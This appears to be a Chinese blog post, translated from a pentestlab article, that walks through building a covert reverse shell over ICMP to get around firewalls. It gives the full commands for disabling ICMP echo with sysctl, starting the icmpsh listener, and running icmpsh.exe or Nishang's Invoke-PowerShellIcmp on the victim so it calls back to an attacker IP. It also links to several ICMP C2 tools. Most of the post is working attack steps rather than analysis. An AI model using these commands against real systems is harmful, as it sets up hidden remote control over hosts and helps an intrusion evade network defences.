通过ICMP协议反弹SHELL并执行命令

前言

内网中的大多数系统都位于防火墙和企业代理之后,以便控制入口以及出口流量。防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。
使用icmpsh(https://github.com/inquisb/icmpsh)工具可用来执行此攻击。推特上的大牛@Bernardo Damele已经将其导入到他的工具sqlmap中,可以使用-os-pwn选项来发起攻击。

以下命令将禁止ICMP回显,这对于工具正常使用是至关重要的,启动一个监听器,该监听器将等待目标主机的ICMP数据包:

sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 192.168.100.3 192.168.100.4


icmpsh工具中还包含需要在目标主机上传输和执行的二进制文件。以下命令将向监听主机发送ICMP包:

icmpsh.exe -t 192.168.100.3


一个shell将通过ICMP接收,并且也可以通过这个管道来执行命令。

Daniel Compton(https://twitter.com/commonexploits)开发了一个自动化过程的脚本。此脚本所需的唯一输入是目标主机的IP地址。该脚本包含在icmpsh(https://github.com/inquisb/icmpsh)中。


工具有多个选项命令和控制。


在Nishang框架中包含一个PowerShell模块,可以与icmpsh python脚本结合使用,以获取ICMP上的shell。在主机上,执行下面命令将会开始监听ICMP数据包。

./icmpsh_m.py 192.168.100.3 192.168.100.4
在目标主机上, PowerShell的Icmp 模块仅需要主IP地址:
Import-Module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.100.3

这个链接将会返回给主机一个shell


Resources

https://attack.mitre.org/wiki/Command_and_Control
http://bernardodamele.blogspot.co.uk/2011/04/reverse-connection-icmp-shell.html
https://github.com/inquisb/icmpsh
https://github.com/samratashok/nishang
http://leidecker.info/downloads/index.shtml
https://github.com/nocow4bob/PiX-C2
https://github.com/sincoder/icmp_shell
https://github.com/Darkpaw95/ICMP_Rev_shell

原文:https://pentestlab.blog/2017/07/28/command-and-control-icmp/


  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值